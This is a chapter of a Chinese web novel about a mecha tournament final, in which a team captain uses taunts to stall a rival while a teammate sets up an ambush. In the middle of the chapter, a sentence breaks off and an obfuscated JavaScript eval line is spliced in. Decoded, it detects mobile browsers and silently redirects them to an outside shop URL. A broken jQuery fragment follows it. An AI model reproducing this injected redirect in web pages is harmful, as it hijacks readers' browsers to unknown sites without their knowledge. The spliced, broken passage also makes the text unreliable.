“按照你的想法来。”
“哈?”
“我说,按照你的想法来。”
顾知珩重复了一遍。在真正的危急关头,他反而没有平时的难以取舍,果决地做下了决定。
至少在这场比赛剩下的时间里,他选择抛开之前所有的顾虑,对着安知认真道:“接下来我会全力配合你的行动,你不用再顾忌我的想法。我知道你一直都有自己的判断。”
他的赌运很差。
但是他愿意陪她赌一场。
顾知珩:“朱峰现在守在季舒余身边,程予川之前去埋伏沈令辰,现在在战场另一角,暂时赶不过来。但是以季舒余的谨慎程度,他应该已经下命令让程予川返航。要不要拦截他?但需要考虑的是,在去找程予川的路上,我们肯定会先碰上季舒余和朱峰。也就是说,至少要留一个人缠住他们俩。”
安知沉吟片刻。
“你打得赢程予川吗?”
“不能。”他并不遮掩这件事,说得坦坦荡荡,“程予川是精神力S+的攻坚手,尤其擅长近身作战。单挑的情况下,我不是他的对手。”
稍微有点难办。
让顾知珩一挑二显然也不现实。
那就没办法了。
安知眼神锐利起来:“我们去堵季舒余和朱峰。速战速决,卡在程予川和他们汇合之前,至少干掉一个,把人数扳平。”无论如何都不能让季舒余程予川汇合,不然那才是真的有心杀贼,无力回天。
第一次彻底拿到指挥权,虽然只有半场,安知也一样情绪高涨,尽管这种时候压力很大。
你问有没有什么详细的章程?没有。
要什么章程,人生就是个草台班子。
打着打着,局面不就豁然开朗了。
安知现在就想放开手脚,痛痛快快地打一场总决赛,哪怕输了她也认。
……
和顾知珩安知狭路相逢的电光火石间,季舒余就反应过来了这两个人的打算。
顾知珩在全力配合安知,他几乎放弃了自己之前的所有主导性。控制神兵的人居然反过来被神兵控制,真是难得一见的场面。
季舒余唇畔带笑,但眼底却毫无笑意。
顾知珩之前没这么打过,所以他赛前分析的那一堆东西有很多都没用了。
季舒余看了看地图,预估了下程予川赶过来的时间,觉得不是很妙。
顾知珩加安知的组合攻击力太盛,二对二打团很很大风险被对面送出场,最好还是把这两个人拆开。
季舒余打开了对话频道:“他们攻,我们守。不要自乱阵脚。朱峰,你去把安知引开,顾知珩留给我。在二对二的前提下,我们占劣势。但索性,争分夺秒的人是他们。”
他要避开混战泥泞,战线拖得越散越久越长,对他们就越有利。
季舒余有条不紊地布置着新的战术配置。
听到他的安排,朱峰惊了一下。
朱峰:“我打安知?真的假的。”
季舒余:“怎么了,有什么疑问吗?”
朱峰:“我打她,包死的。”
季舒余:“你的死是计划中的一环。”
他的近战水平和精神力等级都不如安知,如果朱峰不把安知引开,那么他很有可能会被安知送下场。一旦失去了他,顾知珩加上安知的组合基本可以提前锁定战局,予川是没办法压过两个人的。
把这些东西解释给朱峰听,他立刻就能明白队长要做什么。但是季舒余并没有解释的意思。
他的命令没有出错,能不能理解是队员自己的事。战场上争分夺秒,他不会做多余的事情,只需要队员服从命令。
朱峰不理解,但是朱峰接受了自己作为诱饵和盾牌给队长挡刀挡剑的命运。
只是……
朱峰:“队长,安知的仇恨好像锁在你身上了,我该怎么引过来啊。”
他很努力,但是努力不见成效。
季舒余:“看着办。”
他是队长,不是保姆。
怎么完成这件事,是朱峰自己的问题。
……
顾知珩和安知并不倾向于分开打,他们两个人的目标很明确,在程予川到来前把季舒余送下场。
但问题是季舒余太警觉,不肯正面交锋,而朱峰又一直挡在他面前,眼看着程予川越来越近,安知顿时冷下脸。
她当机立断道:“我去打朱峰,你打季舒余。”
再这么纠缠下去就鸡飞蛋打了。
保底先送一个走,朱峰就朱峰吧。
留下季舒余,最后两队2V2五五开,还指不定谁赢呢。
“看来我们又要继续接着寒暄了,顾队。”
留下来对付他的人是顾知珩而不是安知,这一点季舒余并不意外。
边缘星域资源有限,机甲也不能跟中央星域的相提并论,整个第一支队也就顾知珩的机甲和他差不多水平,其余的,即使是安知的机甲,也不过普普通通。
能靠着这样一副机甲杀到这里,已经足够证明她的水平。但时间这么紧张,和他打的性价比哪有和朱峰打的性价比高呢。毕竟朱峰比他好对付多了。
顾知珩并没有理会他的招呼,这种环境下,不回应本身就是一种回应。
得到充耳不闻做回应的季舒余也不恼,他只是继续像旧友谈心一样得,一边和顾知珩打,一边和顾知珩讲话。
季舒余:“看来现在已经到争分夺秒的时候了。要猜猜看吗?是安知先送朱峰下场,还是予川先赶到支援,又或者……是你我之间先分个胜负出来?”
他一边聊,一边招架,一边还暗中给朱峰发命令。
“尽可能把她往予川的方向引。”
“收到。”
发个消息的功夫,朱峰的机甲报损条再度飙红预警。
季舒余叹了口气。
现在也只能尽人事,听天命了。
季舒余:“真的不和我再叙叙旧吗?好歹我们也算是同窗。”
顾知珩终于开口了。
顾知珩:“算不上同窗,只能算同届。你转来的那一年,我转走。”
季舒余点点头道:“确实,那很不巧了。”
聊得都是些无关痛痒的话题,这些话题根本不能让顾知珩分心。但没办法,谁让比赛是现场直播,他总不能在这里聊一些太深奥的东西。
季舒余又一次听到了机甲报损的声音,他的机甲报损程度已经超过了他最开始的预计。这让他不得不感叹,顾知珩真的很难应对。
但面对这种情况,季舒余仍然不感到惊慌,他统计着报损率的速度,并研究了一下顾知珩的攻击节奏。对比着前几天的研究结论,季舒余若有所思。
季舒余:“你的节奏变快了,顾队。”
1V1,顾知珩的胜率在他之上。
但前提是没有被他发现心态上的弱点。
季舒余微笑:“是因为压力很大吗?是担心自己打输,还是担心安知被引到予川的陷阱里?S+级别的攻坚手压迫感很强对吧。我看安知,正如你看予川。尤其是,安知的机甲设备,对战经验还都抵不过予川,这太弱势了……”
趁着他说话的功夫,顾知珩立刻抓住机甲操纵重拳狠狠砸在目标肩胛部位。这一拳没到要害,但却足够让季舒余嘴角笑意变淡。
这些话竟然没起作用吗?
心理战收效见微这件事让季舒余感到失望。
顾知珩没罢手。
他一边继续寻找机会进攻,一边开始了自己的反击。
“如果季队的操作水平能有你的嘴上功夫一半好,那你现在也就不会节节败退,如此狼狈了。”顾知珩客客气气地又给他一个光子炮,“爱在赛场上说话,是你们第八支队的传统吗?从前只以为程予川聒噪,原来季队也深谙此道。这算不算是,上梁不正下梁歪?”
季舒余避开了迎面而来的光子炮,但余下飞溅的伤害还是让他略有损伤。报损度上了80%,这种处境就算是季舒余也笑不出来。
但情绪归情绪,回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762777|208721||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
敬归回敬。
季舒余慢条斯理道:“照顾队这么说,那安知也应该来我第八支队才对。毕竟她也好,我也好,予川也好,都很爱在赛场上讲话不是吗?”
顾知珩冷淡道:“安知不是爱讲话,她只是视情况而定。看来你的误解很深,季队。”
季舒余微微一笑:“殊途同归。”
论战力,他也许不是顾知珩的对手。
但论争辩……
季舒余:“虽然我们讲话的方式各不相同,但好在目标一致,都是为了干扰对手。不过顾队看上去,似乎并不善此道?”
顾知珩的动作终于打偏了一瞬。
于是季舒余又笑了。
“是我的错觉吗?总觉得顾队今天对我格外不满,看来是我的话太多了。”季舒余从容道,“顾队倒也不用生气,我只是随口说说而已。毕竟就算我出言邀请,安小姐也未必会答应。第八支队目前人员饱和,暂时没有扩招的打算。”
是真话,也是假话。
如果安知愿意来第八支队做第三号人物,那么第八支队就不存在饱和一说。天才谁不喜欢呢。
但季舒余不觉得她会来,所以也就没有开口询问的意愿。
季舒余看了看机甲报损程度,上面显示已经岌岌可危,挨不了多少下就要出去。
但……
时间也差不多了。
季舒余操作着机甲忽然发动了进攻,但光炮的攻击并非是朝着顾知珩而去,而是朝着顾知珩的左侧而去。那是为了封走位。
“呲——!!”
金属巨剑砍在机甲颈部要害的声音听上去刺耳至极。而更刺耳的是瞬间飙升的机甲报损语音,刚刚还占优势的数据转眼之间就要归零。这种落差,就算是顾知珩也忍不住无声地骂了句脏话。
玩得太阴了。
程予川到底是什么时候来得!
怕他发现什么端倪,所以季舒余才一连挑衅了他这么久吗?!
该死!
愤怒改变不了结局。
眼见顾知珩机甲报损率达到100%,程予川这才露出今天赛场上的第一个肆意笑容。
“拜拜了你嘞。”
他大摇大摆地收起了武器,然后操纵着机甲走到了顾知珩面前,在对方意识彻底被清出场之前,他总要来打个招呼,不然一场比赛下来半句话不讲,那多没礼貌啊。
所以也不管顾知珩看不看得到,程予川上来就是一记阳光灿烂的笑容。飞扬的语气不难听出他此刻极其畅意美妙的心情。
“怎么样,我埋伏得够好吧。”他爽朗道,“按照你的要求,我可是蹲了半天都没动,一直等到最佳偷袭时机出来才动手。”
“最佳偷袭时机?”季舒余沉吟,“我的机甲报损率已经到了87%,再晚两分钟,站在这里笑的人就是顾知珩了。”
“你想这么多呢,没影的事儿都。”程予川敷衍道,“还有一个谁?安知对吧。现在2V1吗?我看朱峰已经下场了,她好像正在往回赶。”
他一边说,一边评估了下情况。自己的机甲报损程度在55%,安知机甲报损程度在33%,而现在离比赛结束还有大约二十分钟。
完全可以打。
于是他象征性地问了问季舒余。
“我们要过去找她吗?”
“不去。”
“好,不——吔!不去?为什么不去???”
季舒余的果断让程予川感到震惊,“都这个地步了,她总不能还能翻盘吧。”
越是这种时候,季舒余越是沉得住气。他不觉得,这种情况下对上安知会是个好的选择。
第五支队的极限失败历历在目,季舒余不会去冒没必要的风险。靠人头优势可以更简单更省事地在规则内取得胜利。
现在离比赛结束只有不到二十分钟。
避开安知是当下最优选,否则中间出点什么差错,那才是悔之晚矣。
“没有必要去赌一时之气。”
季舒余心平气和道。